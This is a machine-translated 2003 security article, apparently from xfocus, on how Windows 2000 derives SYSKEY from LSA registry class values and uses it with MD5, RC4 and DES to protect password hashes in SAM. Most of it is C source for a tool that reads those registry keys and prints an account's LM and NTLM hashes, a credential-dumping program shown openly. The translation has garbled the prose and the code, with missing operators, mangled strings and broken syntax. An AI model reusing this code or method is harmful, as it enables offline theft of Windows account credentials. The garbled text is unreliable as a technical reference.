Creation time: 2003-06-04
Article attribute: original
Article submission:
Flashsky (Flashsky1_at_sina.com)
SAM has a hash storage add-density algorithm and the calculation of Syskey
Pick, please indicate the author and security focus
Author: FLASHSKY
Site:
Www.xfocus.net,
Www.shopsky.com
Email: Flashsky@xfocus.org
Author: Qi Mingxing Active Defense Laboratory
SAM is stored in a password, which is everyone know, but its password is stored in a cryptographic form below the V key corresponding to the SID, how to calculate the password has been hashed through this encrypted string, and the big house use PWDUMP3 Such tools can export a hash, the main principle is that there is a SampSecretsSessionKey, which is the system space. PWDUMP3 is copying a service to the other-machine machine, and the SampsecretsSessionKey that reads this LSASS process space is decrypted. In fact, this SampsecretSessionKey is also very complex.
Miscellaneous, we do a more in-depth discussion and analysis than PWDUMP3, the calculation and generation of SampsecretSessionKey so we can decrypt the password hash in the registry directly from the physical file. Forget The system or a system that does not know the user password but has obtained the disk has this important meaning so that we can decrypt the password hash in the registry through the analysis of the registry file.
Through analysis, we found that Syskey, which often said to NT, play a very important role in this process of the W2K system. In fact, Syskey has existed as a fixed component of W2K, and we give a whole process:
When the system boots:
Calculate Syskey
Read the key information saved in SAM / SAM / DOMAINS / ACCUN / V in the registry (generally the first 0x38 byte of the first 0x38 byte)
Use the first 0x10 bytes of syskey and f keys, with special strings "! @ # $% ^ & * () @ # $% ^ & * () @ @ @ @ &%", "0123456789012345678901234567890123456789" Do MD5 operation Bytes can get the RC4 operation to get SampsecretSessionKey, this
SampsecretSessionKey is fixed in the LSASS process, as the decryption SAM is encrypted, used in a hash
-------------------------------------------------
| System calculated syskey |
| F-key information, first 0x10 bytes | MD5
| "! @ # $% ^ & * () qWERTYUIOPAZXCVBNMQQQQQQQQQQQQQQ) (* @ &%" | ---> ------
| "0123456789012345678901234567890123456789" | RC4
-------------------------------------------------- | ------> SampsecretSessionKey
|
F-key information after 0x20 bytes -------------------
When you need to decrypt the encrypted data into the hash (such as remote login):
Read SampsecretsSessionKey, and then make MD5 operations for this user password has been obtained by MD5 operations with the current user's relative SID, hash type name (such as lmpassword, ntpassword).
Using sessionkey to decrypt the first encrypted hash with RC4, extend the user relative to ID to 14 bytes to do DES sections, generate DeSecb, and then separate the hash after RC4 to 2 times DES decryption can be obtained. Password hash.
-------------------------
| SampsecretSessionKey |
| SID | MD5
| "Lmpasswor" / "ntpasswor" | ---> sessionkey ---
| | | RC4 2 DES (Plug SID Make KEY Separation)
------------------------- | -----> -------------------------------------------------------------------------- --------> HASH
|
Corresponding SAM encrypted password hash -------------------------------
This algorithm is quite good, ensuring that the same hash of different users is different in SAM storage (relatively SID is different), and the hash stores in the SAM of the same SID of different machines are different (syskey);
This algorithm's DES / RC4 is reversible, so if we get syskey through offline (file) (other information can be analyzed), we fully realize the effect of the password in the SAM offline, but this needs The data structure of the registry and the data structure of the V / F key in the SAM, do not talk about it.
So how is SYSKEY calculated? This may be a place I found the most cracked ms, first trying to store somewhere in the registration table, huh, huh, finally track the Winlogon process when MS boot, syskey is calculated, many people will be bigger Glasses:
The calculation of syskey is: system // currentcontrolset // control // lsa
JD, SKEW1, GBG, DATA four key values Class values are transparent, rely, admire MS. This allows us to get export or rewrite of the encrypted hashing of its SAM offline to analyze the registry.
Here is the complete implementation of the complete implementation calculation of syskey- "SampsecretSessionKey, the code has been decrypted in the SAM of the specific user: Of course, if you decrypt the hash from the running system, you can directly read the SampSecretsSessionKey, just like PWDUMP3. The same is also possible, but if you want to realize offline, you need to analyze more things.
In addition, the specific method of PWDUMP, because it is encryption and anti-tracking, I don't have time to make careful analysis, but from Regmon to monitor its registry operation, it is not to read anything under LSA, so you can It is determined that he is directly obtaining AmpsecretSessionKey to perform decryption to SAM content.
/ / The implementation of the following functions, the definition of DES-related boxes, ECB, etc., refers to the code in the previous article, no longer given here.
// void deskey (char * lmpass, unsigned char * desecb)
// Void RC4_Key (unsigned char * rc4keylist, unsigned char * rc4key, int keylen); // void MD5init (unsigned char * lm);
// void Md5Final (unsigned char * lm);
// voidin (Char * Pass, unsigned char * lm);
// The implementation of the DES function given before and has no decryption, and there is a small error, so the complete one is given here.
#include
#include
#include "des.h"
Void getsyskey (unsigned char * syskey);
Void getsampsecretssesKey (unsigned char * fkey);
Void Md5init (unsigned char * lm);
Void Md5Final (unsigned char * lm);
Void RC4_Key (unsigned char * rc4keylist, unsigned char * rc4key, int keylen);
Void RC4_2BC6 (unsigned char * rc4keylist, int keylen, unsigned char * key);
Void getSamkey (unsigned char * sampsskey); unsigned char * passwordtype, unsigned char * sessionkey;
Void getSamhash (unsigned char * acaminfo, unsigned char * sessionkey, unsigned char * uid);
Voidin (Char * Pass, Unsigned Char * LM);
Void Deskey (Char * lmpass, unsigned char * desecb);
Void des (unsigned char * lm, char * magic, unsigned char * ecb, long no);
void main ()
{
INT I;
// In order to simply, these three are directly specified users, relatively SID registry key names and relative SIDs, everyone can write into a way full according to username.
Char username [] = "sam // sam // domains // account // users // names // administrator";
Char keyname [] = "sam // sam // domains // account // users /// 000001f4";
UNSIGNED long UID = 0x1f4;
Unsigned char syskey [0x10];
Unsigned char ensamnt [0x10];
Unsigned char ensamlm [0x10];
Unsigned char sessionkey.
UNSIGNED Char BUF [0x400];
Unsigned char SampsecretsSessionKey [0x10];
Unsigned char lmhash [0x10];
Unsigned char nthsh [0x10];
Unsigned char fkey [0x30];
UNSIGNED Long SS;
DWORD Regty;
DWord Regint;
Unsigned char passwordtype [5] [100] = {"lmpassword", "ntpasswordhistory", "ntpasswordhistory", "misccreddata"}; hkey hkresult;
HKEY HKRESULT1;
// SAM's key read first to upgrade your Locasystem permissions, here is not implemented, adding the code
// Readout F button for calculation
Regint = 0x400;
SS = regopenkeyex (HKEY_LOCAL_MACHINE, "SAM // Sam // Domains // Account", 0, Key_Read, & HKRESULT
IF (ss! = 0)
Printf ("no privilege! / n");
SS = RegQueryValueex (HKRESULT, "F", NULL, & Regty, BUF, & Regint
For (i = regint-1; i> = 0; I -)
IF (BUF [i]! = 0)
Break;
Memcpy (FKey, BUF I-0x2F, 0x30);
SS = regopenkeyex (HKEY_LOCAL_MACHINE, UserName, 0, Key_Read, & HKRESULT);
/ / Check if this user exists
IF (ss! = error_success)
Return;
/ / Read the encrypted hash information in the V key under the user
// Due to the fact that the structure is not resolved, we will directly read the last string, usually so stored here.
/ / But do not exclude exception, then you need to analyze the structure in V.
Regint = 0x400;
SS = regopenkeyex (HKEY_LOCAL_MACHINE, KeyName, 0, Key_Read, & HKRESULT);
SS = RegQueryValueex (HKRESULT, "V", NULL, & Regty, BUF, & Regint
Memcpy (ENSAMNT, BUF Regint-0x18, 0x10);
Memcpy (ENSAMLM, BUF Regint-0x2c, 0x10);
// Calculate syskey, W2K system default syskey, and becomes its fixed component
Getsyskey (Syskey);
// Calculate SampsecretSessionKey in the KEY in the Syskey, the F button
GetsampsecretssesKey (Syskey, FKey);
Memcpy (SampsecretSessionKey, FKEY 0X10, 0X10);
// The above is the work that is completed when the system is guided, and this SampsecretSessionKey is fixed in the process space stored in the LSASS.
// When the authentication, such as the PWDUMP3, it is first read from the system directly to read SAMPSecretSessionKey.
/ / According to the relative SID of the specific user, to restore the hash type, generate sessionKey, as shown in LM hash
GetSamKey (SampsecretsSessionKey, & UID, PasswordType [0], sessionkey);
Memcpy (LMHASH, ENSAMLM, 0X10);
// Use the LM hash, which is encrypted in SID, and decrypts the true hash relative SID.
GetSamhash (LMHASH, SESSIONKEY, & UID);
Printf ("Hash ::"); for (i = 0; i <0x10; i )
Printf ("% 02x", lmhash [i]);
PRINTF (":");
/ / According to the relative SID of the specific user, to restore the hash type type, generate sessionkey, as shown in NTLM hash
GetSamKey, & Uid, PasswordType [1], sessionkey;
Memcpy (NTHASH, ENSAMNT, 0X10);
// Use the NTLM hash, which is encrypted in SAM, and decrypts the true hash of RC4 / DES relative to SID.
GetSamhash (NTHASH, SESSIONKEY, & UID);
For (i = 0; i <0x10; i )
Printf ("% 02x", nthash [i]);
Printf ("/ n");
}
Void getSamhash (unsigned char * acaminfo, unsigned char * sessionkey, unsigned char * uid)
{
// Use the LM hash, which is encrypted in SID, and decrypts the true hash relative SID.
UNSIGNED Char DeSecb [128];
Unsigned char rc4keylist [0x102];
Unsigned char lm [0x10];
UNSIGNED CHAR P1 [0xe];
UNSIGNED CHAR P2 [0x10];
Memcpy (P1, UID, 4);
Memcpy (P1 4, UID, 4);
Memcpy (P1 8, UID, 4);
Memcpy (P1 0xc, UID, 2);
/ / The above is to populate the DeSecb using SID.
RC4_Key (rc4keylist, sessionkey, 0x10);
RC4_2BC6 (RC4keyList, 0x10, ENSAMINFO);
// RC4 processing once again decrypts
InitLMP (P1, LM);
Deskey (LM, DeSecb);
DES (P2, EnsamInfo, DeSecb, 0);
Initlmp (P1 7, LM);
Deskey (LM, DeSecb);
DES (P2 8, EnsamInfo 8, DeSecb, 0);
Memcpy (EnsamInfo, P2, 0x10);
}
Void getSamKey (unsigned char * uid, unsigned char * passwordtype, unsigned char * sessionkey)
{
/ / According to the relative SID of the specific user, to recover the hash type, MD5 generates sessionKey
Unsigned char lm [0x58];
INT LEN, I;
MD5init (LM);
For (i = 0; i <20; i )
IF (PasswordType [i] == 0)
Break;
LEN = i 1;
Memcpy (LM 0x18, SampssKey, 0x10);
Memcpy (lm 0x28, (unsigned char *) uid, 4);
Memcpy (LM 0x2C, PasswordType, Len);
MEMSET (LM 0x2C LEN, 0X80, 1);
MEMSET (LM 0x2C LEN 1,0x0,0x58- (0x2C LEN 1));
* (DWORD *) LM = 0x200; * (DWORD *) (LM 0X50) = 0xF8;
MD5Final (LM);
Memcpy (sessionkey, lm 8,0x10);
}
Void getsyskey (unsigned char * syskey)
{
Unsigned char keyselect [] = {0x8, 0xA, 0x3, 0x7, 0x2, 0x1, 0x9, 0xf,
0x0, 0x5, 0xD, 0x4, 0X, 0x6, 0xc, 0xE};
// Transposition table
Unsigned char syskey1 [0x10];
HKEY HKRESULT;
HKEY HKRESULT1;
INT I, J;
Long SS;
UNSIGNED Char ClassInfo [0x10];
DWORD C1;
SS = regopenkeyex (HKEY_LOCAL_MACHINE, "System // CurrentControlset // Control // LSA", 0, Key_Read, & HKRESULT
IF (ss! = error_success)
Return;
SS = RegopenKeyex (HKRESULT, "JD", 0, Key_Read, & HKResult1;
i = 0;
Memset (syskey1, 0, 0x10);
C1 = 0x10;
IF (ss == error_success)
{
SS = RegQueryInfoKey (HKRESULT1, CLASSIINFO, & C1, 0, 0, 0, 0, 0, 0, 0);
RegcloseKey (HKRESULT1);
IF (ss == error_success)
{
Printf ("% S / N", ClassInfo;
For (j = 0; j <8; j )
{
IF (ClassInfo [J]> = 0x30 && ClassInfo [J] <= 0x39)
ClassInfo [J] = ClassInfo [J] -0x30;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else
Return;
}
Syskey1 [i 0] = 16 * ClassInfo [0] ClassInfo [1];
Syskey1 [i 1] = 16 * ClassInfo [2] ClassInfo [3];
Syskey1 [i 2] = 16 * ClassInfo [4] ClassInfo [5];
Syskey1 [i 3] = 16 * ClassInfo [6] ClassInfo [7];
i = i 4;
}
}
C1 = 0x10;
SS = RegopenKeyex (HKRESULT, "SKEW1", 0, Key_Read, & HKResult1);
IF (ss == error_success)
{
SS = RegQueryInfoKey (HKRESULT1, CLASSIINFO, & C1, 0, 0, 0, 0, 0, 0, 0);
RegcloseKey (HKRESULT1); if (ss == error_success)
{
Printf ("% S / N", ClassInfo;
For (j = 0; j <8; j )
{
IF (ClassInfo [J]> = 0x30 && ClassInfo [J] <= 0x39)
ClassInfo [J] = ClassInfo [J] -0x30;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else
Return;
}
Syskey1 [i 0] = 16 * ClassInfo [0] ClassInfo [1];
Syskey1 [i 1] = 16 * ClassInfo [2] ClassInfo [3];
Syskey1 [i 2] = 16 * ClassInfo [4] ClassInfo [5];
Syskey1 [i 3] = 16 * ClassInfo [6] ClassInfo [7];
i = i 4;
}
}
C1 = 0x10;
SS = RegopenKeyex (HKRESULT, "GBG", 0, Key_Read, & HkResult1);
IF (ss == error_success)
{
SS = RegQueryInfoKey (HKRESULT1, CLASSIINFO, & C1, 0, 0, 0, 0, 0, 0, 0);
RegcloseKey (HKRESULT1);
IF (ss == error_success)
{
Printf ("% S / N", ClassInfo;
For (j = 0; j <8; j )
{
IF (ClassInfo [J]> = 0x30 && ClassInfo [J] <= 0x39)
ClassInfo [J] = ClassInfo [J] -0x30;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else
Return;
}
Syskey1 [i 0] = 16 * ClassInfo [0] ClassInfo [1];
Syskey1 [i 1] = 16 * ClassInfo [2] ClassInfo [3];
Syskey1 [i 2] = 16 * ClassInfo [4] ClassInfo [5];
Syskey1 [i 3] = 16 * ClassInfo [6] ClassInfo [7];
i = i 4;
}
}
C1 = 0x10; ss = regopenkeyex (HKRESULT, "DATA", 0, Key_Read, & HKResult1);
IF (ss == error_success)
{
SS = RegQueryInfoKey (HKRESULT1, CLASSIINFO, & C1, 0, 0, 0, 0, 0, 0, 0);
RegcloseKey (HKRESULT1);
IF (ss == error_success)
{
Printf ("% S / N", ClassInfo;
For (j = 0; j <8; j )
{
IF (ClassInfo [J]> = 0x30 && ClassInfo [J] <= 0x39)
ClassInfo [J] = ClassInfo [J] -0x30;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else IF (ClassInfo [J]> = 'A' && ClassInfo [J] <= 'f')
ClassInfo [J] = ClassInfo [J] - 'A' 0xA;
Else
Return;
}
Syskey1 [i 0] = 16 * ClassInfo [0] ClassInfo [1];
Syskey1 [i 1] = 16 * ClassInfo [2] ClassInfo [3];
Syskey1 [i 2] = 16 * ClassInfo [4] ClassInfo [5];
Syskey1 [i 3] = 16 * ClassInfo [6] ClassInfo [7];
i = i 4;
}
}
// These four key Class values are combined to do the transposition is the syskey of MS.
For (i = 0; i <0x10; i )
{
Syskey [keyselect [i]] = syskey1 [i];
}
For (i = 0; i <0x10; i )
Printf ("0x% 02x", syskey [i]);
Printf ("/ n");
}
Void getSampsecretSessionKey (unsigned char * fkey)
{
Unsigned char lm [0x58];
Unsigned char rc4keylist [0x102];
Char m1 [] = "! @ # $% ^ & * () qWERTYUIOPAZXCVBNMQQQQQQQQQQQQQ) (* @ &%";
"" 0123456789012345678901234567890123456789 "
MD5init (LM);
Memcpy (LM 0x18, FKey, 0x10);
Memcpy (LM 0x28, M1, 0X2F);
Memcpy (LM 0x57, Syskey, 1);
* (DWORD *) LM = 0x278;
MD5Final (LM);
Memcpy (lm 0x18, syskey 1,0xf);
Memcpy (LM 0X27, M2, 0X29);
* (DWORD *) LM = 0x5c0;
MEMSET (LM 0x50, 0x80, 1);
MEMSET (LM 0X51, 0, 7); MD5Final (LM);
* (DWORD *) LM = 0x600;
MEMSET (LM 0x18, 0, 0X38);
* (DWORD *) (LM 0x50) = 0x3c0;
* (DWORD *) (LM 0x54) = 0;
MD5Final (LM);
RC4_Key (RC4keyList, LM 8, 0X10);
RC4_2BC6 (rc4keylist, 0x20, fkey 0x10);
// The first 0x10 byte of the fkey here is SampsecretSessionKey
MD5init (LM);
Memcpy (LM 0x18, FKEY 0X10, 0X10);
Memcpy (LM 0x28, M2, 0X29);
Memcpy (LM 0x51, FKey 0x10, 0x7);
* (DWORD *) LM = 0x248;
MD5Final (LM);
Memcpy (LM 0x18, FKEY 0x17, 0x9);
Memcpy (LM 0x21, M1, 0X2F);
MEMSET (LM 0x50, 0x80, 1);
MEMSET (LM 0x51, 0, 7);
* (DWORD *) LM = 0x5c0;
MD5Final (LM);
MEMSET (LM 0x18, 0, 0X40);
* (DWORD *) LM = 0x600;
* (DWORD *) (LM 0x50) = 0x3c0;
* (DWORD *) (LM 0x54) = 0;
MD5Final (LM);
}
Void RC4_2BC6 (unsigned char * rc4keylist, int keylen, unsigned char * key)
{
Unsigned long c1;
UNSIGNED CHAR D1, B1, A1;
INT I;
C1 = rc4keylist [0x100];
D1 = rc4keylist [0x101];
For (i = 0; i { C1 = C1 ; C1 = C1% 256; A1 = rc4keylist [c1]; D1 = D1 A1; B1 = rc4keylist [d1]; Rc4keylist [c1] = b1; Rc4keylist [d1] = a1; A1 = A1 B1; B1 = key [i]; A1 = rc4keylist [a1]; B1 = B1 ^ A1; Key [i] = b1; } } Void des (unsigned char * lm, char * magic, unsigned char * ecb, long no) { DWORD D1, D2, D3, D4; DWORD A1, A2, A3; INT I; D1 = * (DWORD *) MAGIC; D2 = * (DWORD *) (MAGIC 4); D1 = (D1 << 4) | (D1 >> 0x1c); D3 = D1; D1 = (D1 ^ D2) & 0xF0f0f0f0; D3 = D3 ^ D1; D2 = D2 ^ D1; D2 = (D2 << 0x14) | (D2 >> 0xc); D1 = D2; D2 = (D2 ^ D3) & 0xFff0000F; D1 = D1 ^ D2; D3 = D3 ^ D2; D1 = (D1 << 0xe) | (D1 >> 0x12); D2 = D1; D1 = (D1 ^ D3) & 0x33333333; D2 = D2 ^ D1; D3 = D3 ^ D1; D3 = (D3 << 0x16) | (D3 >> 0xA); D1 = D3; D3 = (D3 ^ D2) & 0x3FC03FC; D1 = D1 ^ D3; D2 = D2 ^ D3; D1 = (D1 << 9) | (D1 >> 0x17); D3 = D1; D1 = (D1 ^ D2) & 0xAaaaaaa; D3 = D3 ^ D1; D2 = D2 ^ D1; D2 = (D2 << 1) | (D2 >> 0x1f); IF (no! = 0) { For (i = 0; i <8; i ) { A1 = 0; D1 = * (DWORD *) (ECB 16 * i); D4 = * (DWORD *) (ECB 16 * i 4); D1 = (D1 ^ D3) & 0xFCFCFCFC; D4 = (D4 ^ D3) & 0xcfcfcfcf; A1 = D1 & 0xFF; A2 = (D1 >> 8) & 0xFF; D4 = (D4 >> 4) | (D4 << 0x1c); A3 = desspbox1 [a1 / 4]; A1 = D4 & 0xFF; D2 = D2 ^ A3; A3 = desspbox3 [A2 / 4]; D2 = D2 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 >> 0x10; A3 = desspbox2 [A1 / 4]; D2 = D2 ^ A3; A1 = (D1 >> 8) & 0xFF; D4 = D4 >> 0x10; A3 = desspbox4 [A2 / 4]; D2 = D2 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 & 0xFF; D4 = D4 & 0xFF; A1 = desspbox7 [a1 / 4]; D2 = D2 ^ a1; A1 = desspbox8 [A2 / 4]; D2 = D2 ^ a1; A1 = desspbox5 [d1 / 4]; D2 = D2 ^ a1; A1 = desspbox6 [D4 / 4]; D2 = D2 ^ a1; A1 = 0; D1 = * (DWORD *) (ECB 16 * i 8); D4 = * (DWORD *) (ECB 16 * i 0xc); D1 = (D1 ^ D2) & 0xFCFCFCFC; D4 = (D4 ^ D2) & 0xcfcfcfcf; A1 = D1 & 0xFF; A2 = (D1 >> 8) & 0xFF; D4 = (D4 >> 4) | (D4 << 0x1c); A3 = desspbox1 [a1 / 4]; A1 = D4 & 0xFF; D3 = D3 ^ A3; A3 = desspbox3 [A2 / 4]; D3 = D3 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 >> 0x10; A3 = desspbox2 [A1 / 4]; D3 = D3 ^ A3; A1 = (D1 >> 8) & 0xFF; D4 = D4 >> 0x10; A3 = desspbox4 [A2 / 4]; D3 = D3 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 & 0xFF; D4 = D4 & 0xFF; A1 = desspbox7 [a1 / 4]; D3 = D3 ^ A1; A1 = desspbox8 [A2 / 4]; D3 = D3 ^ A1; A1 = desspbox5 [d1 / 4]; D3 = D3 ^ A1; A1 = desspbox6 [D4 / 4]; D3 = D3 ^ A1; } D3 = (D3 >> 1) | (D3 << 0x1f); D1 = D2; D2 = (D2 ^ D3) & 0xAaaaaaa; D1 = D1 ^ D2; D3 = D3 ^ D2; D1 = (D1 << 0x17) | (D1 >> 9); D2 = D1; D1 = (D1 ^ D3) & 0x3FC03FC; D2 = (D2 ^ D1); D3 = D3 ^ D1; D2 = (D2 << 0xA) | (D2 >> 0x16); D1 = D2; D2 = (D2 ^ D3) & 0x33333333; D1 = D1 ^ D2; D3 = D3 ^ D2; D3 = (D3 << 0x12) | (D3 >> 0xE); D2 = D3; D3 = (D3 ^ D1) & 0xFff0000F; D2 = D2 ^ D3; D1 = D1 ^ D3; D2 = (D2 << 0xC) | (D2 >> 0x14); D3 = D2; D2 = (D2 ^ D1) & 0xF0f0f0f0; D3 = D3 ^ D2; D1 = D1 ^ D2; D1 = (D1 >> 4) | (D1 << 0x1c); * (DWORD *) LM = D1; * (DWORD *) (LM 4) = D3; } Else { For (i = 7; i> = 0; i -) { A1 = 0; D1 = * (DWORD *) (ECB 16 * i 8); D4 = * (DWORD *) (ECB 16 * i 0xc); D1 = (D1 ^ D3) & 0xFCFCFCFC; D4 = (D4 ^ D3) & 0xcfcfcfcf; A1 = D1 & 0xFF; A2 = (D1 >> 8) & 0xFF; D4 = (D4 >> 4) | (D4 << 0x1c); A3 = desspbox1 [a1 / 4]; A1 = D4 & 0xFF; D2 = D2 ^ A3; A3 = desspbox3 [A2 / 4]; D2 = D2 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 >> 0x10; A3 = desspbox2 [A1 / 4]; D2 = D2 ^ A3; A1 = (D1 >> 8) & 0xFF; D4 = D4 >> 0x10; A3 = desspbox4 [A2 / 4]; D2 = D2 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 & 0xFF; D4 = D4 & 0xFF; A1 = desspbox7 [a1 / 4]; D2 = D2 ^ a1; A1 = desspbox8 [A2 / 4]; D2 = D2 ^ a1; A1 = desspbox5 [d1 / 4]; D2 = D2 ^ a1; A1 = desspbox6 [D4 / 4]; D2 = D2 ^ a1; A1 = 0; D1 = * (DWORD *) (ECB 16 * i 0); D4 = * (DWORD *) (ECB 16 * i 0x4); D1 = (D1 ^ D2) & 0xFCFCFCFC; D4 = (D4 ^ D2) & 0xcfcFCFCF; A1 = D1 & 0xFF; A2 = (D1 >> 8) & 0xFF; D4 = (D4 >> 4) | (D4 << 0x1c); A3 = desspbox1 [a1 / 4]; A1 = D4 & 0xFF; D3 = D3 ^ A3; A3 = desspbox3 [A2 / 4]; D3 = D3 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 >> 0x10; A3 = desspbox2 [A1 / 4]; D3 = D3 ^ A3; A1 = (D1 >> 8) & 0xFF; D4 = D4 >> 0x10; A3 = desspbox4 [A2 / 4]; D3 = D3 ^ A3; A2 = (D4 >> 8) & 0xFF; D1 = D1 & 0xFF; D4 = D4 & 0xFF; A1 = desspbox7 [a1 / 4]; D3 = D3 ^ A1; A1 = desspbox8 [A2 / 4]; D3 = D3 ^ A1; A1 = desspbox5 [d1 / 4]; D3 = D3 ^ A1; A1 = desspbox6 [D4 / 4]; D3 = D3 ^ A1; } D3 = (D3 >> 1) | (D3 << 0x1f); D1 = D2; D2 = (D2 ^ D3) & 0xAaaaaaa; D1 = D1 ^ D2; D3 = D3 ^ D2; D1 = (D1 << 0x17) | (D1 >> 9); D2 = D1; D1 = (D1 ^ D3) & 0x3FC03FC; D2 = (D2 ^ D1); D3 = D3 ^ D1; D2 = (D2 << 0xA) | (D2 >> 0x16); D1 = D2; D2 = (D2 ^ D3) & 0x33333333; D1 = D1 ^ D2; D3 = D3 ^ D2; D3 = (D3 << 0x12) | (D3 >> 0xE); D2 = D3; D3 = (D3 ^ D1) & 0xFff0000F; D2 = D2 ^ D3; D1 = D1 ^ D3; D2 = (D2 << 0xC) | (D2 >> 0x14); D3 = D2; D2 = (D2 ^ D1) & 0xF0f0f0f0; D3 = D3 ^ D2; D1 = D1 ^ D2; D1 = (D1 >> 4) | (D1 << 0x1c); * (DWORD *) LM = D1; * (DWORD *) (LM 4) = D3; } }